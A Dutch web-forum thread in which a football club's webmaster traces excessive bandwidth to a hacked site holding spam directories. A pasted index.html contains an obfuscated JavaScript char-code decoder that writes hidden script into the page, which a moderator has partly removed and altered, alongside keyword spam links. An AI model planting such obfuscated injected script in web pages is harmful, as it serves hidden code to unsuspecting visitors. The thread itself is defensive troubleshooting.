Googlebot neemt heel veel bandbreedte

[wpbremer]

Het gaat hier niet om een site met CMS MS maar een andere en ik hoop dat ik deze vraag hier even mag stellen, want mijn hoster kan me niet verder helpen.

Ik beheer een website voor mijn voetbalvereniging, nu is de bandbreedte van site al een paar keer overschreden deze maand. De bandbreedte is 25Gb, als ik naar de bezoekers kijk is het de Googlebot die 24,79Gb voor zijn rekening neemt. Ik heb nu door middel van het aanbrengen van een robot.txt bestand waarin ik alle googlebots weiger de site te bezoeken, geprobeerd om de gebruikte bandbreedte te beperken. Dit werkt telkens een aantal dagen en daarna is het weer mis.

Is iemand die hier ervaring mee heeft en ligt het inderdaad wel aan de Googlebot en wordt de site niet gebruikt voor andere doeleinden zonder dat wij dat merken? Er staan verder niet veel foto's of video's op de site, we gebruiken maar 350mb van de 1000mb die we tot onze beschikking hebben.

Het is mijn bedoeling de site binnenkort te gaan overzetten naar CMS MS daar hij wel verouderd is.

Alvast bedankt voor jullie reacties.

[pedes]

350mb ... dat lijkt me toch een uitgebreide site ...
wat is het adres ?

Mvg,
Peter

[wpbremer]

www.vvscharnegoutum.nl

Maar hij is nu niet bereikbaar omdat de bandbreedte is overschreden. Morgen is het 1 december dus wordt de bandbreedte weer gereset. Begin deze maand was er 4 dagen tijd 24 GB aan bandbreedte gebruikt.

[pedes]

het lijkt me niet onlogisch dat dit gewoon door de gewone surfer is die even langs komt.

je moet rekenen indien uw layout heel zwaar is (bedoel in kb's) dan kan het best dat dit al vlug oploopt in uw bandbreedte. neem nu een header afbeelding (met een veel te groot gewicht van 500kb) die telkens terug komt in iedere pagina en je hebt 10 pagina's, dan heb je gewoon door de 10 pagina's te openen alleen voor door de header een bandbreedte van 5mb en dat is slechts 1gebruiker die 1 maal de pagina's doorloopt.

ik wil maar zeggen dat je het veelal in de grote (gewicht... noem ik het meestal) van de layout moet zoeken.

Mvg,
Peter

[wpbremer]

Alle voorgaande maanden werd er een bandbreedte van gemiddeld 2 hooguit 3Gb gebruikt. Er is aan de website niks veranderd deze maand, dus mijninziens ligt het dus niet aan de site zelf.

[pedes]

je kan ook misschien de crawlsnelheid voor die site aanpassen ... in de webmasterhulp van google,
normaal staat dit ingesteld om dit door Google zelf te laten bepalen ... maar je kan dit ook zelf instellen.


Mvg,
Peter

[M@rtijn]

Hoe weet je zeker dat het Googlebot is, die verantwoordelijk is voor de grote hoeveelheid bandbreedte?

Welke pagina's bezoekt die bot dan dat hij tot 24.7 GB komt?

Ik zie in mijn Apache Usage Log ook regelmatig de googlebot voorbij komen, maar die leest alleen de html uit. Alle afbeeldingen (of andere objecten met bestandsomvang) worden overgeslagen.

Ik vermoed dat hier iets anders de oorzaak is.

[wpbremer]

In mijn bezoekers overzicht staat achter de Googlebot het aantal keren dat ie langs is geweest en dan de bandbreedte die hij heeft verbruikt, vandaar dat ik Googlebot verdacht.

Desondanks vermoed ik ook dat het iets anders is, want kan het me niet voorstellen dat dit door de googlebot komt. Hoe kom ik er achter wat het dan is?

[M@rtijn]

Heb jij op die host iets van een Usage log?

Ik weet dat het een ramp is om die door te spitten, maar vaak de enige manier er achter te komen wat er werkelijk zoveel bandbreedte pakt.

[wpbremer]

Kan niet zo een usage log vinden. Ik maak gebruik van cPanel, en vind daar alleen overzichten van de laatste 300 gebruikers.

Ik heb nu wel een ip-adres die regelmatig een bestand zoekt wat resulteert in onderstaande foutmelding:

[Wed Dec 01 12:30:20 2010] [error] [client 38.101.148.124] File does not exist: /home/vvscharn/public_html/406.shtml

Het ip-adres heb ik nu geblokt eens zien of dat helpt.

[M@rtijn]

Het ipadres uit je post wordt weergegeven als zijnde van PSINet in San Fransisco, USA.

Wanneer je zoekt op dat ipdadres met de toevoeging 'error', vind je een hoop logs waarbij dat ip adres ook bestanden probeert te verkrijgen die niet op de server aanwezig zijn.
Nog even verder zoeken, verteld me dat het de Disco Bot is, een 'experimental web crawler for Discovery Engine'
(http://discoveryengine.com/discobot.html)

Ik zou de complete range blocken (38.101.148.97-38.101.148.126) en kijken of het dan beter wordt met je bandbreedte

[wpbremer]

Ik ben er achter dat ik in een bepaalde directory inderdaad allemaal vreemde bestanden heb die deze disco bot leest. Zal kijken of de ip-block iets oplost.

[M@rtijn]

..een bepaalde directory inderdaad allemaal vreemde bestanden...

Eeuhm, hier zou ik even iets dieper induiken, als ik jou was.

Wat voor bestanden?
Sinds wanneer staan die daar?
Wat voor 'verdachte' code staat erin?

[wpbremer]

Het gaat om diverse mappen met als naam een vreemde code, met daarin een index.html

Daarnaast staan er een sitemap.xml, sitemap.gz en een robots.txt in.

Onderstaand de code van een index.html

Code: Select all

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<__html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Kansas art jobs, Kansas city animal control, Kansas career and technical education, Kansas lottery winning numbers - . Kansas art jobs.</title>

</head>
</__body><__script__ language = 'javascript'>
<!--
function D(){
var temp="",i,c=0,out="";
var str="60!115!91!55!49!53!54!50!55116!62!39!41!---------------------59!60!47!115!99!114!105!112!116!62";
l=str.length;while(c<=str.length-1){
while((str.charAt(c)!='!') && (c<=(str.length-1))){temp=temp+str.charAt(c++);};c++;out=out+String.fromCharCode(temp);temp="";};
document.write(out);
}//-->
</__script>
<__script__ language = 'javascript'>
D();
</__script>

<div><a href="../kd--q6jp/"> Kansas city camera store, kansas theatres warren wichita, kansas city mafia</a> | <a href="../f8q2qtx/"> Kansas horse rescue, kansas city brothels, kansas the wall lyric, kansas lyrics wayward son, kansas horse rescue</a> | <a href="../mik---ok/"> Kansas extension office</a>| <a href="../h1---w15eq/"> Kansas city water department</a> | <a href="../8rtjru
</td>
</tr>
</table>
 </div>
<__body>
</__html>

// Rolf - gehackte code verwijderd / aangepast

[M@rtijn]

Dat ziet er niet bepaald goed uit.

Alle mappen die niet tot de website behoren verwijderen, snel andere wachtwoorden instellen zou mijn eerste advies zijn!